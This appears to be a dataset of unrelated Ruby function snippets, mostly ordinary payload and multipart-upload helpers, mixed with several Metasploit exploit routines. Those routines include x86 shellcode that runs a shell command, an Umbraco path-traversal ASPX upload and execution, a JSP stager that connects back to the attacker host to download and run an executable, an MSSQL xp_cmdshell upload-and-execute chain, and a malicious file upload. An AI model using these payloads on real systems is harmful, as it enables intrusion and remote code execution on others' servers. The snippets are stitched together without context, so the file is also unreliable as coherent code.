"def generate_stage\n\t\tcmd = datastore['CMD'] || ''\n\t\tpayload =\n\t\t\t\"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\" +\n\t\t\t\"\\x2f\\x73\\x68\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\" +\n\t\t\tRex::Arch::X86.call(cmd.length + 1) + cmd + \"\\x00\" +\n\t\t\t\"\\x57\\x53\\x89\\xe1\\xcd\\x80\"\n\tend",
"def post_data=(_arg0); end",
"def raw_post\r\nunless @env.include? 'RAW_POST_DATA'\r\nraw_post_body = body\r\n@env['RAW_POST_DATA'] = raw_post_body.read(@env['CONTENT_LENGTH'].to_i)\r\nraw_post_body.rewind if raw_post_body.respond_to?(:rewind)\r\nend\r\n@env['RAW_POST_DATA']\r\nend",
"def create_ingestion_workflow_payload(params={})\n params[:uuid] ||= Config::Constants::ASSET_UUID\n params[:path] ||= Config::Constants::ASSET_PATH\n params[:title] ||= Config::Constants::ASSET_TITLE\n params[:url] ||= Config::Constants::ASSET_URL + params[:uuid] + '/'\n\n\n {\n 'definitionId': Config::Constants::INGESTION_WORKFLOW_METADATA_ID,\n 'stringVariables': {\n 'assetMetadata': '{ \"clip-type\":\"http://api.ft.com/things/a0e8ca2e-03b4-4321-9b50-4a85b38298cd\",'\\\n'\"clip-description\": \"10 Seconds\", \"location\":\"http://sws.geonames.org/6619890/\",'\\\n'\"interviewee\": \"Jem Rayfield\",\"office\": \"http://api.ft.com/things/a29a5f4f-b4ff-46f7-b597-a30437783e1e\",'\\\n'\"producer\": \"http://api.ft.com/things/a4fda01e-dd90-490b-a7be-7c74eafd3884\",\"freelance-producer\": \"James Condron\",'\\\n'\"reporter-1\": \"Darren Bown\", \"reporter-2\":\"Dario Villanueva\",\"reporter-3\":\"Jon Best\", \"restrictions\": '\\\n'\"true\", \"restriction-description\":\"Sensitive Video....classified top secret\"}',\n 'project-thing-url': params[:url],\n 'projectUUID': params[:uuid],\n 'assetS3Path': params[:path],\n 'assetTitle': params[:title]\n }\n }\n end",
"def prepare_multipart_data(payload)\n boundary = \"infosimples\" + rand(1_000_000).to_s # a random unique string\n\n content = []\n payload.each do |param, value|\n content << '--' + boundary\n content << \"Content-Disposition: form-data; name=\\\"#{param}\\\"\"\n content << ''\n content << value\n end\n content << '--' + boundary + '--'\n content << ''\n\n [boundary, content.join(\"\\r\\n\")]\n end",
"def exploit\r\n\r\n\t\t@peer = \"#{rhost}:#{rport}\"\r\n\r\n\t\t# Generate the ASPX containing the EXE containing the payload\r\n\t\texe = generate_payload_exe\r\n\t\taspx = Msf::Util::EXE.to_exe_aspx(exe)\r\n\r\n\t\t# htmlentities like encoding\r\n\t\taspx = aspx.gsub(\"&\", \"&\").gsub(\"\\\"\", \""\").gsub(\"'\", \"'\").gsub(\"<\", \"<\").gsub(\">\", \">\")\r\n\r\n\t\turi_path = target_uri.path\r\n\t\turi_path.path << \"/\" if uri_path[-1, 1] != \"/\"\r\n\r\n\t\t@upload_random = rand_text_alpha(rand(6) + 6)\r\n\r\n\t\tsoap = <<-eos\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n\t<soap:Body>\r\n\t\t<SaveDLRScript xmlns=\"http://tempuri.org/\">\r\n\t\t\t<fileName>/..\\\\..\\\\..\\\\umbraco\\\\#{@upload_random}.aspx</fileName>\r\n\t\t\t<oldName>string</oldName>\r\n\t\t\t<fileContents>#{aspx}</fileContents>\r\n\t\t\t<ignoreDebugging>1</ignoreDebugging>\r\n\t\t</SaveDLRScript>\r\n\t</soap:Body>\r\n</soap:Envelope>\r\n\t\teos\r\n\r\n\t\t#\r\n\t\t# UPLOAD\r\n\t\t#\r\n\r\n\t\tattack_url = uri_path + \"webservices/codeEditorSave.asmx\"\r\n\t\tprint_status(\"#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...\")\r\n\t\tprint_status(\"#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx\")\r\n\r\n\t\tres = send_request_cgi({\r\n\t\t\t'uri' => attack_url,\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'ctype' => 'text/xml; charset=utf-8',\r\n\t\t\t'headers'\t=> {\r\n\t\t\t\t\t'SOAPAction' => \"\\\"http://tempuri.org/SaveDLRScript\\\"\",\r\n\t\t\t\t},\r\n\t\t\t'data' => soap,\r\n\t\t}, 20)\r\n\r\n\t\tif (! res)\r\n\t\t\tprint_status(\"#{@peer} - Timeout: Trying to execute the payload anyway\")\r\n\t\telsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)\r\n\t\t\tprint_status(\"#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]\")\r\n\t\telse\r\n\t\t\tprint_status(\"#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway\")\r\n\t\tend\r\n\r\n\t\t#\r\n\t\t# EXECUTE\r\n\t\t#\r\n\r\n\t\tupload_path = uri_path + \"#{@upload_random}.aspx\"\r\n\t\tprint_status(\"#{@peer} - Executing #{upload_path}...\")\r\n\r\n\t\tres = send_request_cgi({\r\n\t\t\t'uri' => upload_path,\r\n\t\t\t'method' => 'GET'\r\n\t\t}, 20)\r\n\r\n\t\tif (! res)\r\n\t\t\tprint_error(\"#{@peer} - Execution failed on #{upload_path} [No Response]\")\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\tif (res.code < 200 or res.code >= 300)\r\n\t\t\tprint_error(\"#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]\")\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\t#\r\n\t\t# 'DELETE' - note that the file will remain on the system, but the content will be wiped.\r\n\t\t#\r\n\r\n\t\tsoap = <<-eos\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n\t<soap:Body>\r\n\t\t<SaveDLRScript xmlns=\"http://tempuri.org/\">\r\n\t\t\t<fileName>/..\\\\..\\\\..\\\\umbraco\\\\#{@upload_random}.aspx</fileName>\r\n\t\t\t<oldName>string</oldName>\r\n\t\t\t<fileContents></fileContents>\r\n\t\t\t<ignoreDebugging>1</ignoreDebugging>\r\n\t\t</SaveDLRScript>\r\n\t</soap:Body>\r\n</soap:Envelope>\r\n\t\teos\r\n\r\n\t\tattack_url = uri_path + \"webservices/codeEditorSave.asmx\"\r\n\t\tprint_status(\"#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...\")\r\n\t\tprint_status(\"#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx\")\r\n\r\n\t\tres = send_request_cgi({\r\n\t\t\t'uri' => attack_url,\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'ctype' => 'text/xml; charset=utf-8',\r\n\t\t\t'headers'\t=> {\r\n\t\t\t\t\t'SOAPAction' => \"\\\"http://tempuri.org/SaveDLRScript\\\"\",\r\n\t\t\t\t},\r\n\t\t\t'data' => soap,\r\n\t\t}, 20)\r\n\r\n\t\tif (! res)\r\n\t\t\tprint_error(\"#{@peer} - Deletion failed at #{attack_url} [No Response]\")\r\n\t\t\treturn\r\n\t\telsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)\r\n\t\t\tprint_status(\"#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]\")\r\n\t\telse\r\n\t\t\tprint_status(\"#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]\")\r\n\t\tend\r\n\t\thandler\r\n\tend",
"def process\n # Fix body\n unless @data[:request][:body]._blank?\n # Make sure 'content-type' is set if we have a body\n @data[:request][:headers].set_if_blank('content-type', 'application/x-amz-json-1.1' )\n # Fix body if it is a Hash instance\n if @data[:request][:body].is_a?(Hash)\n @data[:request][:body] = Utils::contentify_body(@data[:request][:body], @data[:request][:headers]['content-type'])\n end\n # Calculate 'content-md5' when possible (some API calls wanna have it set)\n if @data[:request][:body].is_a?(String)\n @data[:request][:headers]['content-md5'] = Base64::encode64(Digest::MD5::digest(@data[:request][:body])).strip\n end\n end\n # Set date\n @data[:request][:headers].set_if_blank('x-amz-date', Time::now.utc.httpdate)\n # Set path\n @data[:request][:path] = Utils::join_urn(@data[:connection][:uri].path, @data[:request][:relative_path], @data[:request][:params])\n # Sign a request\n Utils::AWS::sign_v4_signature(\n @data[:credentials][:aws_access_key_id],\n @data[:credentials][:aws_secret_access_key],\n @data[:connection][:uri].host,\n @data[:request]\n )\n end",
"def body\r\nif raw_post = @env['RAW_POST_DATA']\r\nraw_post.force_encoding(Encoding::BINARY)\r\nStringIO.new(raw_post)\r\nelse\r\n@env['rack.input']\r\nend\r\nend",
"def payload=(_arg0); end",
"def generate_jsp_payload\r\n\t\tmy_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(\"50.50.50.50\") : datastore['SRVHOST']\r\n\t\tmy_port = datastore['SRVPORT']\r\n\r\n\t\t# tmp folder = C:\\Program Files\\SolarWinds\\Storage Manager Server\\temp\\\r\n\t\t# This will download our malicious executable in base64 format, decode it back,\r\n\t\t# save it as a temp file, and then finally execute it.\r\n\t\tjsp = %Q|\r\n\t\t<%@page import=\"java.io.*\"%>\r\n\t\t<%@page import=\"java.net.*\"%>\r\n\t\t<%@page import=\"sun.misc.BASE64Decoder\"%>\r\n\r\n\t\t<%\r\n\t\tStringBuffer buf = new StringBuffer();\r\n\t\tbyte[] shellcode = null;\r\n\t\tBufferedOutputStream outstream = null;\r\n\t\ttry {\r\n\t\t\tSocket s = new Socket(\"#{my_host}\", #{my_port});\r\n\t\t\tBufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));\r\n\t\t\twhile (buf.length() < #{@native_payload.length}) {\r\n\t\t\t\tbuf.append( (char) r.read());\r\n\t\t\t}\r\n\r\n\t\t\tBASE64Decoder decoder = new BASE64Decoder();\r\n\t\t\tshellcode = decoder.decodeBuffer(buf.toString());\r\n\r\n\t\t\tFile temp = File.createTempFile(\"#{@native_payload_name}\", \".exe\");\r\n\t\t\tString path = temp.getAbsolutePath();\r\n\r\n\t\t\toutstream = new BufferedOutputStream(new FileOutputStream(path));\r\n\t\t\toutstream.write(shellcode);\r\n\t\t\toutstream.close();\r\n\r\n\t\t\tProcess p = Runtime.getRuntime().exec(path);\r\n\t\t} catch (Exception e) {}\r\n\t\t%>\r\n\t\t|\r\n\r\n\t\tjsp = jsp.gsub(/\\n/, '')\r\n\t\tjsp = jsp.gsub(/\\t/, '')\r\n\r\n\t\tjsp.unpack(\"H*\")[0]\r\n\tend",
"def finish_data\n @data.chop!\n name = nil\n \n disp = @headers[\"content-disposition\"]\n raise \"No 'content-disposition' was given.\" if !disp\n \n \n #Figure out value-name in post-hash.\n match_name = disp.match(/name=\\\"(.+?)\\\"/)\n raise \"Could not match name.\" if !match_name\n name = match_name[1]\n \n \n #Fix count with name if given as increamental [].\n if match = name.match(/^(.+)\\[\\]$/)\n if !@counts.key?(match[1])\n @counts[match[1]] = 0\n else\n @counts[match[1]] += 1\n end\n \n name = \"#{match[1]}[#{@counts[match[1]]}]\"\n end\n \n \n #Figure out actual filename.\n match_fname = disp.match(/filename=\\\"(.+?)\\\"/)\n \n if match_fname\n obj = Knjappserver::Httpsession::Post_multipart::File_upload.new(\n \"fname\" => match_fname[1],\n \"headers\" => @headers,\n \"data\" => @data\n )\n @return[name] = obj\n @data = nil\n @headers = {}\n @mode = nil\n else\n @return[name] = @data\n @data = nil\n @headers = {}\n @mode = nil\n end\n end",
"def prepare_payload(pld)\n pld\n end",
"def script_params\n params.require(:script).permit(:name, :body, :version, :file)\n end",
"def post_data; end",
"def payload; end",
"def payload; end",
"def process_value(item)\n attachment_types = ['madb_swf_attachment', \n 'madb_file_attachment', \n 'madb_s3_attachment']\n \n if attachment_types.include? item[:data_type]\n download_url = \"#{request.protocol}#{request.host}#{request.port_string}/app/file_attachments/download/#{item[:id]}\"\n \n file_props = YAML::load item[:value]\n file_props[:download_url] = download_url\n item[:value] = file_props\n end\n return item[:value]\nend",
"def parse_data(data)\n idx = 0\n @prev_out, @prev_out_index = data[idx...idx+=36].unpack(\"a32I\")\n @script_sig_length, tmp = Protocol.unpack_var_int(data[idx..-1])\n idx += data[idx..-1].bytesize - tmp.bytesize\n @script_sig = data[idx...idx+=@script_sig_length]\n @sequence = data[idx...idx+=4]\n idx\n end",
"def file_up(platform, dir)\r\n # specifying an extension by platform\r\n if platform == Msf::Module::Platform::Windows\r\n filex = \".bat\"\r\n else\r\n if payload.encoded =~ /sh/\r\n filex = \".sh\"\r\n elsif payload.encoded =~ /perl/\r\n filex = \".pl\"\r\n elsif payload.encoded =~ /python/\r\n filex = \".py\"\r\n elsif payload.encoded =~ /ruby/\r\n filex = \".rb\"\r\n else\r\n fail_with(Failure::Unknown, 'Payload type could not be checked!')\r\n end\r\n end\r\n \r\n @fname= rand_text_alpha(9 + rand(3)) + filex\r\n data = Rex::MIME::Message.new\r\n data.add_part('./', nil, nil, 'form-data; name=\"uploadDir\"')\r\n data.add_part(payload.encoded, 'application/octet-stream', nil, \"form-data; name=\\\"theFile\\\"; filename=\\\"#{@fname}\\\"\")\r\n \r\n res = send_request_cgi({\r\n 'method' => 'POST', \r\n 'data' => data.to_s,\r\n 'agent' => 'Mozilla',\r\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\r\n 'cookie' => @cookie,\r\n 'uri' => normalize_uri(target_uri, \"Upload.do\") \r\n })\r\n \r\n if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control\r\n print_good(\"#{@fname} malicious file has been uploaded.\")\r\n create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O\r\n else\r\n fail_with(Failure::Unknown, 'The file could not be uploaded!')\r\n end\r\n end",
"def b_rdt_send message\n puts 'B Sending Data Unreliably...'\n packet = Packet.new\n packet.payload = message.data\n b_udt_send packet\nend",
"def assign_payload\n\t\tpayload = {}\n\t\t\n\t\tunless @resource[:datapagesize] == ''\n\t\t\tpayload[\"DataPageSize\"] = @resource[:datapagesize]\n\t\t\tPuppet.debug \"DataPage Size: #{@resource[:datapagesize]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:datareductionprofile] == ''\n\t\t\tpayload[\"DataReductionProfile\"] = @resource[:datareductionprofile]\n\t\t\tPuppet.debug \"Data Reduction Profile: #{@resource[:datareductionprofile]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:diskfolder] == ''\n\t\t\tpayload[\"DiskFolder\"] = @resource[:diskfolder]\n\t\t\tPuppet.debug \"Disk Folder: #{@resource[:diskfolder]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:groupqosprofile] == ''\n\t\t\tpayload[\"GroupQosProfile\"] = @resource[:groupqosprofile]\n\t\t\tPuppet.debug \"Group QOS Profile: #{@resource[:groupqosprofile]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:notes] == ''\n\t\t\tpayload[\"Notes\"] = @resource[:notes].to_s\n\t\t\tPuppet.debug \"Notes: #{@resource[:notes]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:readcache] == ''\n\t\t\tpayload[\"ReadCache\"] =\n\t\t\t\tif @resource[:readcache] == :true\n\t\t\t\t\ttrue\n\t\t\t\telse\n\t\t\t\t\tfalse\n\t\t\t\tend\n\t\t\tPuppet.debug \"Reacache: #{@resource[:readcache]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:redundancy] == ''\n\t\t\tpayload[\"Redundancy\"] = @resource[:redundancy]\n\t\t\tPuppet.debug \"Redundancy: #{@resource[:redundancy]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:replayprofilelist] == ''\n\t\t\tpayload[\"ReplayProfileList\"] = @resource[:replayprofilelist]\n\t\t\tPuppet.debug \"Replay Profile List: #{@resource[:replayprofilelist]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:storageprofile] == ''\n\t\t\tpayload[\"StorageProfile\"] = @resource[:storageprofile]\n\t\t\tPuppet.debug \"Storage Profile: #{@resource[:storageprofile]}\"\n\t\tend\n\t\t\n\t\tunless @resource[:storagetype] == ''\n\t\t\tpayload[\"StorageType\"] = @resource[:storagetype]\n\t\t\tPuppet.debug \"Storage Type: #{@resource[:storagetype]}\"\n\t\tend\n\t\t\n\t\tpayload[\"VolumeFolder\"] = @resource[:volumefolder]\n\t\t\n\t\tunless @resource[:volumeqosprofile] == ''\n\t\t\tpayload[\"VolumeQosProfile\"] = @resource[:volumeqosprofile]\n\t\t\tPuppet.debug \"Volume QOS Profile: #{@resource[:volumeqosprofile]}\"\n\t\tend\n\t\t\n\t\tif @resource[:writecache] = :false\n\t\t\tpayload[\"WriteCache\"] = false\n\t\t\tPuppet.debug \"Writecache: false\"\n\t\telse\n\t\t\tpayload[\"WriteCache\"] = true\n\t\tend\n\t\t\n\t\tpayload\n\tend",
"def execute()\n @error_message = \"\"\n @error_handling = @parameters[\"error_handling\"]\n\n # CORE configuration\n ce_server = @info_values['ce_api_server'].chomp(\"/\")\n\n # ARS configuration\n\t ars_username = URI.encode(@info_values[\"ars_username\"])\n ars_password = @info_values[\"ars_password\"]\n ars_server = @info_values[\"ars_server\"]\n ars_form = URI.encode(@parameters['form'])\n ars_field_values = JSON.parse(@parameters['field_values'])\n\n # Handler Result Variables\n\t ars_result = \"\"\n ars_record_location = \"\"\n\t ars_request_id = \"\"\n\n begin\n # Reference for creating ARS entry w/attachments\n #\n # https://bmcsites.force.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA33n000000XqnpCAC&type=ProductDescription\n \n \n puts(format_hash(\"Initial ARS Field Values:\", ars_field_values)) if @debug_logging_enabled\n\n # Remove any empty or nil values\n ars_field_values.reject!{ |key,value| (value.nil? or value.empty?) }\n\n # Walk the field values hash to check for a Null keyword - nil,\n # indicating the field value should be sent as null rather than\n # being skipped\n ars_field_values.each_key { |key| ars_field_values[key] = nil if ars_field_values[key] == \"nil\" }\n\n # Create the request body that will consist of multiple parts for the \n # form field values, and the attachments\n ars_request_body = {}\n\n # Get attachments and add to the name to the ARS field values, and \n # the file content to the request body\n if @parameters[\"ce_attachment_field_1\"]\n # download attachment field 1\n file_attachment_1 = download_ce_attachment(\n ce_server, @parameters['submission_id'], @parameters[\"ce_attachment_field_1\"])\n # add the name of the file to ARS attachment field 1\n ars_field_values[@parameters[\"ars_attachment_field_1\"]] = File.basename(file_attachment_1)\n # add the file as an attachment to the request body\n ars_request_body[\"attach-#{@parameters[\"ars_attachment_field_1\"]}\"] = File.new(file_attachment_1, 'rb')\n end\n if @parameters[\"ce_attachment_field_2\"]\n # download attachment field 2\n file_attachment_2 = download_ce_attachment(\n ce_server, @parameters['submission_id'], @parameters[\"ce_attachment_field_2\"])\n # add the name of the file to ARS attachment field 2\n ars_field_values[@parameters[\"ars_attachment_field_2\"]] = File.basename(file_attachment_2)\n # add the file as an attachment to the request body\n ars_request_body[\"attach-#{@parameters[\"ars_attachment_field_2\"]}\"] = File.new(file_attachment_2, 'rb')\n end\n if @parameters[\"ce_attachment_field_3\"]\n # download attachment field 3\n file_attachment_3 = download_ce_attachment(\n ce_server, @parameters['submission_id'], @parameters[\"ce_attachment_field_3\"])\n # add the name of the file to ARS attachment field 3\n ars_field_values[@parameters[\"ars_attachment_field_3\"]] = File.basename(file_attachment_3)\n # add the file as an attachment to the request body\n ars_request_body[\"attach-#{@parameters[\"ars_attachment_field_3\"]}\"] = File.new(file_attachment_3, 'rb')\n end\n\n puts(format_hash(\"Final ARS Field Values:\", ars_field_values)) if @debug_logging_enabled\n\n # entry field values\n entry_file = File.join(Dir::tmpdir, \"entry.json\")\n File.open(entry_file, \"w\") { |f| f.write( { \"values\" => ars_field_values }.to_json) }\n ars_request_body[\"entry\"] = File.new(entry_file, 'r')\n\n # Generate the URL to create the ARS entry\n ars_request_url = \"#{ars_server}/arsys/v1/entry/#{ars_form}\"\n puts(\"ARS Create URL: #{ars_request_url}\") if @debug_logging_enabled\n\n # ars headers\n ars_request_headers = {\n :authorization => \"AR-JWT #{ars_access_token(ars_server, ars_username, ars_password)}\",\n :content_type => \"multipart/form-data\"\n }\n\n # Uncomment to add additional logging. !!Warning token value will be save to log\n # RestClient.log = 'stdout' if @debug_logging_enabled\n\n # Build the HTTP request to create the ARS entry\n ars_request = RestClient::Request.new({\n method: :post,\n url: ars_request_url,\n payload: ars_request_body,\n headers: ars_request_headers\n })\n \n # execute request\n ars_response = ars_request.execute \n\n ars_result = \"Successful\"\n puts(format_hash(\"ARS Response Headers: \", ars_response.headers)) if @debug_logging_enabled\n\n # Retrieve the ARS record URL from the location header\n ars_record_location = ars_response.headers[:location]\n puts(\"ARS Record Location: #{ars_record_location}\") if @debug_logging_enabled\n\n # parse the record ID off the location\n ars_request_id = ars_record_location.split('/').last\n \n rescue RestClient::RequestTimeout => e\n @error_message = \"Timeout creating ARS entry: #{e}\" \n \n # Raise the error if instructed to, otherwise will fall through to\n # return an error message.\n raise if @error_handling == \"Raise Error\"\n rescue RestClient::Exception => e\n @error_message = \"Error creating ARS entry:\" + \n \"\\n\\tResponse Code: #{e.response.code}\\n\\tResponse: #{e.response.body}\"\n \n # Raise the error if instructed to, otherwise will fall through to\n # return an error message.\n raise if @error_handling == \"Raise Error\"\n rescue Exception => e\n @error_message = \"Error creating ARS entry:\\n\\tException: #{e.inspect}\"\n # Raise the error if instructed to, otherwise will fall through to\n # return an error message.\n raise if @error_handling == \"Raise Error\"\n ensure\n # Delete the entry values file\n delete_file(entry_file) if entry_file\n # Delete the attachment files that were downloaded with this handler\n delete_file(file_attachment_1) if file_attachment_1\n delete_file(file_attachment_2) if file_attachment_2\n delete_file(file_attachment_3) if file_attachment_3\n end\n\n # Return the results\n results = <<-RESULTS\n <results>\n\t <result name=\"Handler Error Message\">#{escape(@error_message)}</result>\n <result name=\"Result\">#{escape(ars_result)}</result>\n <result name=\"Record Location\">#{escape(ars_record_location)}</result>\n\t <result name=\"Record ID\">#{escape(ars_request_id)}</result>\n </results>\n RESULTS\n \n return results\n end",
"def mssql_upload_exec(exe, debug=false)\n\t\thex = exe.unpack(\"H*\")[0]\n\n\t\tvar_bypass = rand_text_alpha(8)\n\t\tvar_payload = rand_text_alpha(8)\n\n\t\tprint_status(\"Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory\")\n\t\tprint_status(\"Writing the debug.com loader to the disk...\")\n\t\th2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))\n\t\th2b.gsub!(/KemneE3N/, \"%TEMP%\\\\#{var_bypass}\")\n\t\th2b.split(/\\n/).each do |line|\n\t\t\tmssql_xpcmdshell(\"#{line}\", false)\n\t\tend\n\n\t\tprint_status(\"Converting the debug script to an executable...\")\n\t\tmssql_xpcmdshell(\"cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\\\#{var_bypass}\", debug)\n\t\tmssql_xpcmdshell(\"cmd.exe /c move %TEMP%\\\\#{var_bypass}.bin %TEMP%\\\\#{var_bypass}.exe\", debug)\n\n\t\tprint_status(\"Uploading the payload, please be patient...\")\n\t\tidx = 0\n\t\tcnt = 500\n\t\twhile(idx < hex.length - 1)\n\t\t\tmssql_xpcmdshell(\"cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\\\#{var_payload}\", false)\n\t\t\tidx += cnt\n\t\tend\n\n\t\tprint_status(\"Converting the encoded payload...\")\n\t\tmssql_xpcmdshell(\"%TEMP%\\\\#{var_bypass}.exe %TEMP%\\\\#{var_payload}\", debug)\n\t\tmssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_bypass}.exe\", debug)\n\t\tmssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_payload}\", debug)\n\n\t\tprint_status(\"Executing the payload...\")\n\t\tmssql_xpcmdshell(\"%TEMP%\\\\#{var_payload}.exe\", false, {:timeout => 1})\n\tend",
"def rawDataUpload()\n # prepare raw data for upload\n show do\n title \"Prepare to upload resulting analyzer data\"\n check \"Under <b>Analysis</b>. <b>Gel Image</b> tab, click <b>Select All</b>.\"\n check \"Under the <b>View</b> tab, check <b>Show Analysis Parameters</b>.\"\n #image \"frag_an_select_all\"\n end\n # save run\n show do\n title \"Save resulting analyzer data\"\n check \"Under the <b>Report</b> tab, click <b>Start Report/Export</b>.\"\n note \"Wait while the files are generated.\"\n check \"Under <b>File</b>-></b>Open Data Directory</b>, click <b>Export</b>.\"\n check \"Copy the following files with today's date, and paste into <b>Documents/Raw Data</b>:\"\n note \"_Rw\"\n note \"_Rw.csv\"\n note \"_Go_150dpi_1\"\n note \"_Ex_PeakCalling.csv\"\n #image \"frag_an_files_to_upload\"\n end\n # upload data \n show do\n title \"Upload resulting analyzer data\"\n note \"Upload the files ending in the following sequences:\"\n note \"_Rw\"\n upload var: \"Raw XML\"\n note \"_Rw.csv\"\n upload var: \"Raw CSV\"\n note \"_Go_150dpi_1\"\n upload var: \"Gel Image\"\n note \"_Ex_PeakCalling.csv\"\n upload var: \"Peak Calling CSV\"\n end\n end",
"def to_payload\n pin = @in.map{|i|\n buf = [ i.prev_out, i.prev_out_index ].pack(\"a32I\")\n buf << Protocol.pack_var_int(i.script_sig_length)\n buf << i.script_sig if i.script_sig_length > 0\n buf << (i.sequence || \"\\xff\\xff\\xff\\xff\")\n }.join\n\n pout = @out.map{|o|\n buf = [ o.value ].pack(\"Q\")\n buf << Protocol.pack_var_int(o.pk_script_length)\n buf << o.pk_script if o.pk_script_length > 0\n buf\n }.join\n\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join\n end",
"def httppostfile(url, corpNum, form, files, userID, isBinary = false)\n headers = {\n \"x-pb-version\" => BaseService::POPBILL_APIVersion,\n \"Content-Type\" => \"multipart/form-data;boundary=\" + BaseService::BOUNDARY,\n \"Accept-Encoding\" => \"gzip,deflate\",\n \"Connection\" => \"Keep-Alive\"\n }\n\n if corpNum.to_s != ''\n headers[\"Authorization\"] = \"Bearer \" + getSession_Token(corpNum)\n end\n\n if userID.to_s != ''\n headers[\"x-pb-userid\"] = userID\n end\n\n post_body = []\n\n if form.to_s != ''\n post_body << \"--#{BaseService::BOUNDARY}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"form\\\"\\r\\n\"\n post_body << \"Content-Type: Application/json;\\r\\n\\r\\n\"\n post_body << form.to_json + \"\\r\\n\"\n end\n if isBinary\n files.each do |fileData|\n fileName = fileData[\"fileName\"]\n post_body << \"\\r\\n--#{BaseService::BOUNDARY}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"#{fileName}\\\"\\r\\n\"\n post_body << \"Content-Type: Application/octet-stream\\r\\n\\r\\n\"\n post_body << fileData[\"fileData\"].force_encoding(\"UTF-8\")\n end\n else\n files.each do |filePath|\n begin\n fileName = File.basename(filePath)\n post_body << \"\\r\\n--#{BaseService::BOUNDARY}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"#{fileName}\\\"\\r\\n\"\n post_body << \"Content-Type: Application/octet-stream\\r\\n\\r\\n\"\n post_body << File.read(filePath)\n rescue\n raise PopbillException.new(-99999999, \"Failed to reading filedata from filepath\")\n end\n end\n end\n\n post_body << \"\\r\\n--#{BaseService::BOUNDARY}--\\r\\n\"\n # Add the file Data\n\n uri = URI(getServiceURL() + url)\n\n https = Net::HTTP.new(uri.host, 443)\n https.use_ssl = true\n Net::HTTP::Post.new(uri)\n\n res = https.post(uri.request_uri, post_body.join.encode(\"UTF-8\"), headers)\n\n if res.code == \"200\"\n if res.header['Content-Encoding'].eql?('gzip')\n JSON.parse(gzip_parse(res.body))\n else\n JSON.parse(res.body)\n end\n else\n raise PopbillException.new(JSON.parse(res.body)[\"code\"],\n JSON.parse(res.body)[\"message\"])\n end\n\n end",
"def payload\n {\n command_name: upconverter.command_name,\n database_name: @database,\n command: upconverter.command,\n request_id: request_id\n }\n end",
"def common_set_body_contents\n set_node(@template, 'bxd|ApplicationRequest', @application_request.to_base64)\n set_node(@template, 'bxd|SenderId', @customer_id)\n set_node(@template, 'bxd|RequestId', request_id)\n set_node(@template, 'bxd|Timestamp', iso_time)\n set_node(@template, 'bxd|Language', @language)\n set_node(@template, 'bxd|UserAgent', \"Sepa Transfer Library version #{VERSION}\")\n set_node(@template, 'bxd|ReceiverId', @target_id)\n end",
"def step\n send_cmd 'vCont;s'\n read_response(decode: true)\n end",
"def payload\n {\n command_name: 'insert',\n database_name: @database,\n command: upconverter.command,\n request_id: request_id\n }\n end",
